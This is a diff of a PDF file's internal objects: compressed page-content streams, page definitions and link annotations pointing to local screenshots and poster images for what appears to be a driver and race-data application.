+cWK!{_Yl5*|Ia4/ Jt#ZaSZqoUɰ`@U/'_݇B[mQqj5+if܈;ayb41Q9Bni3d+d|ByEr6OՍv \=4fi+ +Ť\rXqɽJWcr֚;-j vpkvLYT8'G?Bk@aqVme o[c9+1Va@F4ҮS! cs@f,@a#6{#Qƿ CqrQ1wYLsBic>0/wy(* 4湞F 6Y;$cO G=vh-cy ߅%Y\XPU]O> +endobj +817 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 128.434020 297.637795 116.030820 ] +/Rect [ 39.386457 468.052902 39.386457 453.038502 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsUI1.png) +/URI (./Images/Screens/SmallDriverInfoFullExemple.png) >> >> endobj -816 0 obj -<< -/Filter /FlateDecode -/Length 1177 ->> -stream -xXK6 W^%`0@ 4")*aTOY_-t0ZZ2뙾bzHOh:9\=VLYltcƇ׻:bl\+f+X-4XT 60m mʨG;?f !4y}]<#bc)*{bysF 6|m0`O {(Wy^a=irGXRzݚ6J8]P$YhP"־8ϟ=>5 ¾Εy)<^-UϾP驗Y7p$BnpF/J(^б C#CX C]C텤iF)ڲuOjkJp%N-arc$S8R_&>@T`g:҈.%u$) 8xD~4RGKRo@mG$_{${9[8zlqı^XKڱ(T4hD6{NƐ{D,!3pZ,[p&}ɤ\6Pw弃s,VZ}m|{͌e뛗 C~h.Kovbņ52 vmgݎwxHKUY-fQ4L﬍[t7FYz6E>k8_=4Uv;WꣲZyK)-QF˟^rǑ/0͎SS'2+7NgJ\)cT)D&5U]&uL.gR0$P ,\Χñ)gvzH4[uxjޘ+#[ox?]# -endstream -endobj -817 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 816 0 R -/Resources 4 0 R -/Annots [ 818 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 818 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 600.601722 37.466457 588.198522 ] +/Rect [ 39.386457 468.052902 555.889134 232.610086 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV3.png) +/URI (./Images/Screens/SmallDriverInfoFullExemple.png) >> >> endobj 819 0 obj << -/Filter /FlateDecode -/Length 381 ->> -stream -xRn1 +v؎ -A !ePж/%; qf8{Ñ` 'f*U~ ŒMc$-{b\,%U),>cyk%ES^{nOŇ簠Щ/Z;۩sbk|.6ǿd6+h{VgQ> -endobj -821 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] +/Rect [ 297.637795 232.610086 297.637795 217.595686 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV3.png) +/URI (./Images/Screens/SmallDriverInfoFullExemple.png) >> >> endobj -822 0 obj +820 0 obj << /Filter /FlateDecode -/Length 695 +/Length 3069 >> stream -xUn1 SH= p$awTp2;f:ͬvl4+\R$3?MqmRV!CE5e2 +xي$񽾢~Iy0f>Tt-pH)"Xy~(%()-^H R/GR_ߍ߮%yT ײIy-^zZkkX`/vyD[(tem" DW!R=J}yIF<^ILB<%8HSkb)T`U8)b8aR"hz/ +!J*nK`"z75Нpu=͙n*/6uDt=BFgP.Nn&0$?żN]Jzߌ}y;D! +]0I'"_UA(HguǨ:;(|o'X_//vM*4.{#X_W{\NOC{'0LtCG/ux{.,{-&l{xKusJygQ?ttG)hSҋ`V&>o.&6$0џ#RqUυŨ*U\" E}j +5)s; uXATBSh!¡ơ>Da zdXJLӌ5SejO\dqx4 +#( +!*6LMl2>YD Hl4(d +6}RQbG^*R9z578ԯ}>3NjJQغ'FD\YcW]񍰌( "cڵ5$zB@x`Xc 'DsSmil<{CY}AcuZ&rU LدL-*F_Ke/1k ΁Mf=V},^SWmqaUnq(*@jU,!`?8gbG<ֿAenv׵7 +aiָ +3j M~:y C`fցxr6#E%+j"Ry° 7tc*(<2xVH'o0C)Z2 !)&uXPuIpG{K3-6ebJ@_kdW75QĿס- 7V; ta!䒋IîoPZk'ގ%@ydoHXa\?\Z #pLJDDžDDDU]a_;àvD=.O ~{୛Y|m_L#Hx0ArGQKar noIMuF(ͣ"&e ڲaocֿ3o +B}~*O}cg9S͓R`4Lٹ%i2$Ң=Ԩަ 2f>[3 g.]-R#rE8@N} k 8<ηdѓvA`3~FjsI'BXg):ˑeY3p9G$d@dn OK3(+Jo<~vnȠ 6ʏ}3wF;c@ThGIiWߏ_H.[Zlk0:P\LKG&/N Rᎉpv](b]wȃmIF6۷KcqZäWDŽv} R"(@D{FV+&R(澷bAUxp -?kN_=o՘8rO% +wUs\Ti\|g'=ku=ut O>8vemf9M9=s ax+rz (aix̗ZQ*|0zCJc -xV\Rdz28cY{A6:="Wٹ1nZZg&*'򈨙is&[8s hD9C6htMNG̚$sY+ңxIF~\^Rc(Y6!^?AG>x"ƟX3WK,uY@bL +UmR"뎒M39 U==oRn[@Jh9BMm %pShrx so_7AI/rɉ9]G݆l𤾟ls5@G`^rI-BmW[fUkSㇶwl~ѩwOlƐG5>\f̣eVˑCPAGxzĴ to\nE *qh8cD5LwMZ:K ( Rh=}n4zRݽJq-S24l#v(v(Woi5qPcv kH ޠ<#zmF=cnF.)]Gf `^|83.le->k-m#V)2K^k9k}7DliJY!5G>y;b d6&K0b=:2Gt^[_`εgK2y (6?弝Cm UyG\~W|1mp.r){@~:|,]"|{Yo_5O9ҘMQN? -&,tX,}m)ϥ|jImVW{@ķpR1ڲhnVQG/?0({cGX.3% .1Ʌ{0맏YtԆr2_KrWwد endstream endobj -823 0 obj +821 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 822 0 R +/Contents 820 0 R /Resources 4 0 R -/Annots [ 824 0 R 825 0 R ] +/Annots [ 822 0 R 823 0 R 824 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +822 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 355.166970 39.386457 340.152570 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BattlesWindowExemple.png) +>> +>> +endobj +823 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 355.166970 555.889134 154.844658 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BattlesWindowExemple.png) +>> +>> +endobj 824 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 297.637795 154.844658 297.637795 139.830258 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV3.png) +/URI (./Images/Screens/BattlesWindowExemple.png) >> >> endobj 825 0 obj << +/Filter /FlateDecode +/Length 2161 +>> +stream +xZێ#5}W|Q$ H4!LV<,h(]cwY`F3ķ:uw^wv09fToa䂑‡~V +ݟ59^)'#&QL-GBCn> bĚI- k~{ӷ}7{ϓ'9h +*?Fe<(Isy&9kKy3ŜI.q.;Gyqqݯh3/u\^y>gt#~?ER"8oA2JdiZ`]BE$Bg*O4YFlq:gm$m%BiD¨545am%!q:c45ild&Wf2w}f +Yg:3^&D~Dsf>(ӗ8w*bǂ'dz;.Aq>_&ڨPa5Ӆ1V@[ fl:Lpf+2e> f5RlLR>oPĤF":Ld#q8MSۚ47#TA Pby MNk'X4t~gJPY_kq *h݂ĔL4Ϗz6]i4ŹL5abƢ.F s:Ls3hLzN[cfQjł<3ĬjbsUIGL+4~-)/161e^3w0Wwc)_8T0 +Zg E=O~1r,ZR p#WNޠfB/ko$KY&s +,=2 32a{!#utش qrX0eOPVCɟ2.0_S%7mP&a*xj9N; ^|*1{Tlm|#mU/$pJ6 0Y*[3P`h2J0,U4Тsh~ @eT&5'9\fV?'Z~Zs*g]厕hǕ8%HVɆU^Uck6mꨤvu;\{VM +y]`r鯭h蹧Jt*0[68Gi Zɤ@H16=0˚r`m0ȥ"9` G521:4/F@`H!2p>\+5  PF#ū8NYn+V FzuKFS;IFPxgI8 [u̻I08am.PtKEH`lD]vk"|T]e%$1XUt-!5k[@[V/kGsӘNSCm Ap=kHn<ltQ&͸.IJJS[;rLr]-  ~o8ϪY9^;nSAm<.$$yW³Lr7j[ '(w)tW+'BtkcXI=1Qu| kG͑7TWyhZny+SKC}Gͮ۠rGw:*&\a ċ-d$^D}4q6ɪ.#qY({:dx(wpHҐu +endstream +endobj +826 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 825 0 R +/Resources 4 0 R +/Annots [ 827 0 R 828 0 R 829 0 R 830 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +827 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 670.247622 37.466457 657.844422 ] +/Rect [ 39.386457 598.358022 39.386457 583.343622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV4.png) +/URI (./Images/Screens/OvertakesWindowExemple.png) >> >> endobj -826 0 obj -<< -/Filter /FlateDecode -/Length 382 ->> -stream -xR1 +dرiZ8,\8ӝut -S88yri)PBj3AOAA -]Av>W||Ym9N/UyuOUL -FW ]CzNLZ폱$-x[;> -endobj 828 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] +/Rect [ 39.386457 598.358022 277.136457 481.358022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV4.png) +/URI (./Images/Screens/OvertakesWindowExemple.png) >> >> endobj 829 0 obj << -/Filter /FlateDecode -/Length 555 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 481.358022 297.637795 466.343622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OvertakesWindowExemple.png) +>> >> -stream -xTMo0 WL%%"ݡۥ@ vhҥhQ_av۔EO j&w|Z^GDSvQ my^~ 8|̚ -t~}\у{Qs5ơo~!$f frcLO_>}5hٟw?v`6U&M@QW[b{ -6 *R{Ee .7`@tA6 BbsT7[yO}"$m⍽)b8m.Okgf#sEowIÙj3w~+/ܺ4~f؂(.Y*[{Ha.lUVQeÌ&=ܧ-> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SlowestAndFastestExemple.png) +>> >> endobj 831 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV4.png) ->> +/Filter /FlateDecode +/Length 2582 >> +stream +x[[+9~ϯ벫|F󀀕:HLfBKvwotDt|u;p𿀠BI+OK'~9Y|$9 ij|ZEh_N?uJh0FD(sz (}?O4L5(2ԅϓZtjruRly,;CВx^o.7Я0\/Do{Ϳ3Ӄ0Z,ͯ?^X6:Hۈg$R&x3>!qk?NO V&3Hl0Ek &ǷN^2\c?Ø40&F0poeux9ӵ<cp|r$4ӄ#e5ʃ7"'"TL-T΅(ʘ[Vjɷt{CXUU#7ֵcsԍƧ!~il=[110gba("(uכZe#uX1Sxh<'g)g[cq_$$w% {|v^`%*M%v4qe\8JmC--k2-'Td:E>IwC2lCi6dpA@: +q)+,(1q4:8ˊd̐W o1]-Kѯ[UXƃ+MbB<{0^ y+b$m@bZMǀx(3N$!"ΔHe5Z$)yq-/Ik!d=/d6gcRMWP~O^Ekj`ŀ"Jg/,{Kz,:<31=DO\Ic'Bjer YyJBjN~V+2ZVÈ@?X7Bz)9䟇ǹ!.U|/u m^ UbԍHOlL@׍UEW#:q. E?zY 5lP?ee-[|[:p4my6HcT݈0DDto1p&A4|6nd:ĥqJ {y|TpRDz_^E*kQ;Siȸ*)TXAg|RJ+lhst^;ǥUl?"yG,y Ѩ,)bJ!'&`bbb-)u4~Pb"3:~'j4t=Xb"#z#cQ@T9|T.~XbrTb5:T F%QS %-wtuHIu`RdIKNGN8+7θ5tij\Qug6m +HiH!f*uS`R3=]2z1#|qg݉5EׇE/3p_^XLc0!-+؇tξ>,'sKW't`Ĵ쐜ǃ>W,VGk!AC WITA"AUxF TzB|NUS?_ioR7ly`@n=2\Q}Q>|kV{޵gLQw0ժEwٲ.[,uPm؝1FJ5NgC%lDq<^o@,~ :dicn_e)sP مr]9N\olJ=nJFuwb^ޙJE6fCg6j{{pMa +̽5w|{;=)Jwٴ.v_i [vR>UY__oRsc.[Z`f(8}NϧrMF2KK,O|<؆$z1.1: |GLCB2FyZf5ìs\ڮ=d0*S,W[RŽ?M}L;Pb~* +endstream endobj 832 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 690.402822 37.466457 677.999622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV5.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 831 0 R +/Resources 4 0 R +/Annots [ 833 0 R 834 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 833 0 obj << -/Filter /FlateDecode -/Length 383 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 511.288080 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SlowestAndFastestExemple.png) +>> >> -stream -xRMo1 Wډ;RTzh{AC,7ıHd*ެj?c`b3C!Y+jlJ.ޢ cT4g>o[dER"z>ǧaFS_Z-iwSRk9 8YE>VW>8_}J:$uɹa' x/-޼ g92 J\Ϻڷӂ-&% >?~qkfP*t^e43®\N+>V]d9u%Nw/Uj?:N֋:a? .@/iom9B57d-xk~Vw <'@ȝ?@K w6f8W]q5 -endstream endobj 834 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 833 0 R -/Resources 4 0 R -/Annots [ 835 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 511.288080 297.637795 496.273680 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SlowestAndFastestExemple.png) +>> >> endobj 835 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV5.png) ->> ->> -endobj -836 0 obj -<< /Filter /FlateDecode -/Length 664 +/Length 5270 >> stream -xUMo0 WL%IECK 0MO#%ʖ2̎cY( - ZS0u#U-6ugKt9l B*&#YDp;1xټ=Mߦ_ )DlĒ(ߞ-Ӆ5Wn1T Fw ;_1tO﹗;p9^x?@Ĭ(1d(7j:xal[4+HbCN`c 3؀W`@@p8v8Ug뜐׾Ԯ_vR#^~`I}x־Y+fU.vߠ8W_9~ªAGT|!~[xu>]F* kѹ)6#A{w{Z)ߓ-15iDI*jH B>Xcru%HTA?sfIlg[d,Æhi❔ǰ!:ޘu[6@zj7&p⺘aGy&>x;^uip XR gpɎn,}+\aj9z-.[5=l 2a,|r<ՙ,!] Orh0A}Ƣ?L% %r16H=t:Hig]sT;9߮N2U6<a= +x]]oq}ׯгXp:Abc rl#Yo@3-H֩[oGOK~hגO?> 5;%V>:ԞC-= 5cmޅ19߾?P>z}/-S?g?ǿ+t~BSr᱕6x1X]?jkBϕֆRG`o +7# Sŝm9Xňjj¸^as/Ww1Ƿsnd ")&D +Db,^>$EO +l_꺞c"P׵\B]W]E!BuSMƪ@WݨoU8Q]׽p@C B@x)A&DLH={SNucQ!d|L"ܐqQ*pSq ϐ 7 7Cd3"{J:҄+|ΡF|uvMbй/Sй.G\Kc :#u)_DꜼWqs{Π:DamD/t.h +{ΥE ++_R))+_Ğs{17BC :RUKW̗r]|K5K>{d !Өsr^Q貊C`Nb'QIc r H%(_v Nd *_a.|ȃ#0SL +{ @Lh<\<{Qy0"cI"cM"@ %v`]b'"f `+_#<Ƀ*+_[<j*ɃH;ya(-dsM<HAN %%}YV<.<ȲEå+_]A!yе.]s;yU y*yeWK^aAteԸz%SːɃG5PɃE}QbޒWAkRs +;Jars*j\S:|+©{N%Uoqu<29 +v<ZR5~A {$x⦬7/TYq~e~O̫b29IO3힩gNk^v{g\ڻ[?SΩˮr3͓sz%s5s O 3/ {Y){N,74}}r/*d<_Hse(;cpӽyN8_ͶŔ{VϜgo1P#^FY)JٰؕQ}Yvf,@2c:C&IGR09OK_۶^5Q'):岑电ck>g}_F;2GM! +01jʤ>|0tm݉[MX4[j4nt+,q5D})wm앷e&{׿FD6ڼϧQ(!i{ u{qڍ]9b~tt5φ1Nڲ/D-;E6v3%o%1RaKǦ\%PoLnXB^! +mgP鼏l RsRYh3pd]d +wquELw8`νk7~q5 a3s!TZegcy~syM1#J4PWn[Wa@C:ݲ2~UUP{bq +p[ jKm̯Bwѵ߅+CCGe9|sL7KzKW:.Mp[.748Fb2|[/I.!Գ|(Yb@3p7ѯѹg_/->w {Ϩ*O4vGeA}ˌް׻jC']Ո(+GY9j:,JU3(w"`yᠱmF/`.gn\qVְMwhPt~9ݍl$N qx<>f t^9jR_%n2K;קl(l~VQ= l3?>补)7ZL{k콙bv2=~6OL<~vudr@QA5ic%Yiy~.44e4 +i\8iP^sgiR4_B<ϹP>*\U9dR]T~4.NI|/4 endstream endobj -837 0 obj +836 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 836 0 R +/Contents 835 0 R /Resources 4 0 R -/Annots [ 838 0 R 839 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +837 0 obj +<< +/Filter /FlateDecode +/Length 3745 +>> +stream +x\[,~_1φȺ_ఐ@lplHq;{/v8RRԥ[ff!gYϬ[{}UR[8N>}ę3;?' F:{ +i''<KJ1ۧwA1ǹ$̈`wS积_㧟t +o'Xq,듉S%b/հaYO_!YiT/͜PߩR; s҂?||3kڄ/g^zO_w'qݏ~\^8מsQ2㘎/si W3&ϫ} cKg:z6ρk9e/=uB{iKke}y4ȼ(NW[u+saGF:ap|̓Gǵmf1]2s$s1m? @)@V05(߈&+ZX)>O?[6Oc"h+?ѭ4+nfn588b ܖeϛWkfr\y-Qb=(6@]3Ԅj_gK6 gm)?|oN09<r>:xENxf /P|C~l5[Wt#W +8ݔ#g g^չ`Y=`z哝:5B)$t]4\QOU?j4=WgRĶk% +M5Ji6ʚ(GAkfޡa$wTFlP|oh(sAi}M}3F2쐶Gcf8W + ^$/ E*;&{4u }nIXP}sS562F>gm\ϙ^Ҋ5m& `[O@ <E/JDnAxB1)04؝j>,7І\SvAi9 +ibqֵh-4-'| +8$"Mse*PBEȪ9 +qd5v{bV[^ ^ε!EÛྒCKEor]sePTJ&m!i`s՜rˠoG=Pɭ 2v7W׊,^)l;9}SQ;m6e_ ^*K9ѧw\@l48m-5[/mʈ웘S:nWT,\!< + ^deu*I +˦6@Ӊ|βѲ6QQo!rd)ϔFjNb1q!>enQa z ܒ +ɼ;:3MAA[;MM/GigRQv׉$~9X՝ϛiH1JFM*< z[X&lOOZFtX8T3<?w66h=-9hz\[ݢ#;{u^6-Əj]<ݓw٤ %U6Fwuv⃎W1+eY6/*9arݳDqeK`sƃAD },8$6e'[UcIEW^vU`qp =q["3K[uÀ>c@Ajn3v)xі<咁,foL>ƶ2{0?vlT)+ɀd屎O洀x͟RFDž~df2F< +TtTFi[b?W9M@5YpB8pG!+<e_?lrPN,39s<(LEb/Ahu +endstream +endobj 838 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV5.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 837 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 839 0 obj << +/Filter /FlateDecode +/Length 3292 +>> +stream +x]ێ}WfI`rLHAMM9ʈw= + kmH黿tf҄O!л.ҋ&^|6kΗ?=g9ܖgǞh%LԾi + {;cz}t}E?~˵v"GWB[Z^[[;v{>|#iIHABnho`7 OEЯLzG MJejS)Tё_o_/^x>Xm+}pB{+qaꅌ$az9 8aZˍkF_\v)7.6ݖ}OH9u{~qK +` 胡IjRXAD+ ^kLdL|@9{MZ$R%|nmH#**O0ۇ{*GiW ̋"C@yyet +ZxT0=nEC'2IDH!$-"[N-4#?Mx"h*EY\jDCQ``ɛ32ahQC(b'҄QčҏQAQ648`:O#y{n*IޚѶLBA/h,*6PAu@(.&DdQ&QSFdWxVY2:Ь5NLOk4"g )d oR]463W g^}yK +jbHcCA6miefzchBrlFb|!ic)hnܸ|J\z{¦5z5ЫhTs#EYfl%%٬<K?F%'Y);x-4Qk (F=}{r{ o,\5*p'۴Q:A 1)Cl8g"gfh0Tݼ'h%Pjxښ! +ΐ=<1QH +d qX0h+j۶ܴ溑{p-.d*kYm &6G9d% kY͞;Vqx9H|\k)BD&^\ӆ!f):׷&Ӭ.F\lL'xwdytߪd'@9F%iWMԔגPE,i :,_A_Jd< +dlԶۼ~{'ۀ<]*a_W~-&J>`}0O lYlܞ|?ǂVNHkh= AllY7k +0 Tʌee``]F_eOmQ`֕<&,hn͇DGy&[o844!ߑ2#a#yX-wh-Z޺ɽsdRLt]paȦlf7ͭW,C}C_075? ]XgVrltyLRag,B8H_mFz tsb]&{khK `wDhcue ᰵ =lB[nsBQ 1ޡVpDҊ( iwBEL^^e͏U6m k +'9`4ƋC| +n̆|cVۣ +%ERFXjΙa%M!XٹUD]71wځkݻ]3ߡbpx[LGehc4wj1QV:Rˣr5zZ7܆$GvktFY=VvҵKyph5vҊHz3>26/wR0 ݥ.Q?oL6 +y=:2k˚:#j1KM Rz?2DTܳ|9Hew^5T_,fUa \+DrA{3R.tUgZXWK1wj)jVxXH5C˺#[5C٫^)8]SbWf~ѓ+f +endstream +endobj +840 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 839 0 R +/Resources 4 0 R +/Annots [ 841 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +841 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 690.402822 37.466457 677.999622 ] +/Rect [ 39.386457 284.148858 39.386457 269.134458 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV6.png) +/URI (./Images/Screens/DataSetGaps.png) >> >> endobj -840 0 obj -<< -/Filter /FlateDecode -/Length 383 ->> -stream -xRn1 +vرTj{(\8n;Um%^0 'DZÑ SNs8JV cxmG!K5F$qh3c)J)d!|/7/ɈYd9Uvm{p.(>~3Sc1i|J6ǿ]Ŭn>V!hO} owˬtt_x:@0Ȭ*uWӂQi)áX'헻詌9|$b2T{器6(e#MӪoq 7ӿTQzt<Ӣgu0%~B Y84/q?TI;@7NtsCiy > > -endstream -endobj -841 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 840 0 R -/Resources 4 0 R -/Annots [ 842 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 842 0 obj << +/Filter /FlateDecode +/Length 2196 +>> +stream +xZY,~_Q4~pa&`'#t{&};KX8~.?>8oΜf4i{vQ`KL{/|XL.Tw?]~׻y!%3"Xo | +Ɨ{yAQ#E$Z)_/&n!n+RY,4fg%Ƥb&/Le2g Y_?Kl׭| Ine!&Id N_vۤ5X?[x,o$v + |iR2o +z#躹dlksXfョUh:g6~PXGU߉"Pঝo((PZOYQ' + PlUh<$辩SfDd}t_Yb% +gJv1fy"畽id%IɉfY,ю¤-*RgAqQ^Uqk%3>;&aH@'2T;lDπg,- :c-B\>,=vbPKKRr^pUV#r:}`p,R;toc#?9`q2ݔbNv1a:b$*~给̕z~|+#'fR ڥ93B>& ˽1}%62—j ueށGS¼}H \ͧtnQΚk@C+S}Zy{=eV͛ӨZ0bwo!KOPjl]eLHH.25-hl*ȰKy3;P{iMjV,IW +񽈸RRih:E4\Ncf#Oa +_⃖La|,5V(TjߕWb%i~;v8K)1D @7+ړ}FJ#FK{@(d7@Zo@f@Gʆ#aDlC)3W>g`}8wphEQN̕k3>(tiMxUA (7 +gzmlqE|'Jl{%&x"Kc UmHX qknI C!l,D}?KXH +endstream +endobj +843 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 842 0 R +/Resources 4 0 R +/Annots [ 844 0 R 845 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +844 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] +/Rect [ 39.386457 771.023622 555.889134 551.235249 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV6.png) +/URI (./Images/Screens/DataSetGaps.png) >> >> endobj -843 0 obj -<< -/Filter /FlateDecode -/Length 653 ->> -stream -xUMo0 WL%%Q@CR  ;8iS($Àbv2D>? r@sI1:M|C{M\r\LlyRy{M:>o@ :g KT#yтy=x>CtPm&%h'`/_>}^U44"FV# @ Ѣ9p_ E&d9+XjrK=]~,1H8v -;pmW&yN$9j3گ]kG^LW8AnX:wX--y -:F5͇>/z r E2O}k.nc5}Ycרu9rPȱ/Ȗ04-qdN8&$i[r!08Q %|gqm15.J[h5Iovu}ZW9YK<|foNk; Id\4"9ֿu!.1\ɍpV?}k"3B;mZeynSdq*|LQ2pN"DwVc="L"lat> -endobj 845 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 297.637795 551.235249 297.637795 536.220849 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV6.png) +/URI (./Images/Screens/DataSetGaps.png) >> >> endobj 846 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 690.402822 37.466457 677.999622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV7.png) ->> ->> -endobj -847 0 obj -<< /Filter /FlateDecode -/Length 384 +/Length 8634 >> stream -xώ1 yY;vXZiHC8_)L8ϟ#1nM9V5sd0FX~ ?d^蚴5n[b,IEE)_Co.ɈYd9J19Q|$eoIk?/IhzkRq=A|ɩbaYCB l}>HՖ2bп87>*n낹gpˊg Z"g4E.s:Wζ厹9m{-67ۜ-W;n1P[Tن.j16f̽y̥$j1٦h _b^"y*nܽz=hEP[xr*3e;"A;A;E:迠6ʽxle܋fW"E:Қ-{:Xs:X{o`]mQڐPv +1wAUj 5;j`M s:X,dj J7K~uІUuC`3M\Fmus:h s:X-v렭w^mܽZ٨-j f@^m{u&;JmuЪu0 s:6[oc1[yO^m8\z{L֣)wW1UOmu*7u0C[n՘VlB?a%rŢ1J}lڢ&bt݆ocrkmVfKhju6!b`VIA+i(b31.jܫlՙڢz̶s{X}{{[ܭԦR[X}01s_̽y̶2ܛ\Dmxv +-9;cNs:X׽wj Ֆ;OWj 6.;zmߩ-VFqj1[7ܻlhʽ{ٖxf7X̶dls:X^1wncb-bmp=f[S[xL^zLێ{L[ܽu0)tiɔ{:ZܻA[}uЧ~+=S^S{:bV5ޭ7zp)v(w^<}^<3^s{>KVot_m=SVw`ܭ"t_A8IGʣS(T|Y3 +[c٬6xڜQw\5/##R}|q)c(ǾaĈ="#1"{$FdĈH#1"{$FdȰGbDH#1"{$D=#GbDH#!2#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑐`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FHL0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$d&{#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=2=L9`d#{#13`a#{#aS{#FH {r#F0Gbf#F0G=30G=쑘0G=`d̰G)=`d#{$f=L9`d#{#13`a#{# 0G=쑘0G=`d̰G)=`d#{$f=,iG=쑘0W`d#{$f=L9`d#{#13`a#{#aS{#FH {r#F0Gbf#F0G=2=L9`d#{#13`d#{#a#{#FH {#F0Gbf#! dObt;fŴ462mK&"~'w!DZcc(ǾaĈ="#1"{$FdĈH#1"{$FdȰGbDH#1"{$D=#GbDH#!2#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑐`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FHL0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$d&{#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=2=L9`d#{#13`a#{#aS{#FH 